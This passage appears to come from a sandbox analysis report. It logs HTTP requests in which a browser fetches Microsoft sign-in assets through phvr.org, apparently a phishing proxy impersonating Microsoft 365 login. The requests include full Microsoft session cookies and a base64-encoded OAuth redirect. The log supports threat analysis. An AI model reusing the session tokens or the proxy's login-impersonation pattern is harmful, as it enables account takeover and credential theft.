OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklz
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1QAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_mc5ac6ol0l4d2iaqspstyg2.css HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_Kjlmc42uL0ATl_21eYcwVg2.js HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_fo8rkc18qnhjh4wnzabsdg2.js HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://phvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: 